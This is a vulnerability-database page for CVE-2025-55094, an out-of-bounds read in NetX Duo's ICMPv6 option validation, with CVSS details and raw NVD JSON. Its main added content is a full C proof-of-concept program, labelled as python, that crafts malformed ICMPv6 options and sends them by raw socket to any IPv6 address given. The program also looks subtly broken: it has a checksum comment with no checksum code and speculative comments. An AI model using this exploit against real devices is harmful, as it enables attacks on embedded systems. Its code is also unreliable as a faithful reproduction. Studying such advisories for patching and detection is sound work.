Security Vulnerability Report
中文
CVE-2025-55094 CVSS 7.5 HIGH

CVE-2025-55094

Published: 2025-10-17 06:15:35
Last Modified: 2025-10-24 20:25:26

Description

In NetX Duo before 6.4.4, the networking support module for Eclipse Foundation ThreadX, there was a potential out of bound read issue in _nx_icmpv6_validate_options() when handling a packet with ICMP6 options.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:eclipse:threadx_netx_duo:*:*:*:*:*:*:*:* - VULNERABLE
NetX Duo < 6.4.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* * CVE-2025-55094 - NetX Duo ICMPv6 Options Validation OOB Read PoC * * This PoC constructs a malformed ICMPv6 packet with invalid options * to trigger an out-of-bounds read in _nx_icmpv6_validate_options(). * * Compile: gcc -o poc poc.c -lsocket -lnsl * Usage: sudo ./poc <target_ipv6_address> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip6.h> #include <netinet/icmp6.h> #define ICMPV6_ECHO_REQUEST 128 #define OPT_TYPE_SOURCE_LLADDR 1 #define OPT_TYPE_PREFIX_INFO 3 /* Build a malformed ICMPv6 Echo Request with oversized option length */ int build_malformed_icmpv6(unsigned char *buf, int *len) { struct icmp6_hdr *icmp6; unsigned char *ptr; /* ICMPv6 header */ icmp6 = (struct icmp6_hdr *)buf; icmp6->icmp6_type = ICMPV6_ECHO_REQUEST; icmp6->icmp6_code = 0; icmp6->icmp6_id = htons(0x1234); icmp6->icmp6_seq = htons(0x0001); ptr = buf + sizeof(struct icmp6_hdr); /* Malformed option: Type=Source LL Address, Length=255 (way beyond packet) */ *ptr++ = OPT_TYPE_SOURCE_LLADDR; /* Type: 1 */ *ptr++ = 0xFF; /* Length: 255 - malformed, exceeds buffer */ /* Fill with pattern to trigger OOB read */ memset(ptr, 0x41, 6); ptr += 6; /* Second malformed option to further trigger validation failure */ *ptr++ = OPT_TYPE_PREFIX_INFO; /* Type: 3 */ *ptr++ = 0x00; /* Length: 0 - invalid, causes division by zero or OOB */ /* Calculate checksum */ *len = ptr - buf; return 0; } int main(int argc, char *argv[]) { int sock; struct sockaddr_in6 target; unsigned char packet[256]; int pkt_len; if (argc != 2) { fprintf(stderr, "Usage: %s <target_ipv6_address>\n", argv[0]); return 1; } /* Create raw ICMPv6 socket */ sock = socket(AF_INET6, SOCK_RAW, IPPROTO_ICMPV6); if (sock < 0) { perror("socket"); return 1; } /* Setup target address */ memset(&target, 0, sizeof(target)); target.sin6_family = AF_INET6; target.sin6_port = 0; if (inet_pton(AF_INET6, argv[1], &target.sin6_addr) != 1) { fprintf(stderr, "Invalid IPv6 address\n"); close(sock); return 1; } /* Build malformed ICMPv6 packet */ build_malformed_icmpv6(packet, &pkt_len); /* Send the malicious packet */ printf("[+] Sending malformed ICMPv6 packet to %s\n", argv[1]); if (sendto(sock, packet, pkt_len, 0, (struct sockaddr *)&target, sizeof(target)) < 0) { perror("sendto"); close(sock); return 1; } printf("[+] Packet sent. Target may have experienced OOB read.\n"); close(sock); return 0; }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-55094", "sourceIdentifier": "[email protected]", "published": "2025-10-17T06:15:35.490", "lastModified": "2025-10-24T20:25:25.947", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In NetX Duo before 6.4.4, the networking support module for Eclipse Foundation ThreadX, there was a potential out of bound read issue in _nx_icmpv6_validate_options() when handling a packet with ICMP6 options."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:eclipse:threadx_netx_duo:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.4.4.202503", "matchCriteriaId": "24743F34-C00F-4CB2-BCEE-2BB29FA265CB"}]}]}], "references": [{"url": "https://github.com/eclipse-threadx/netxduo/security/advisories/GHSA-rf32-h832-hg8r", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}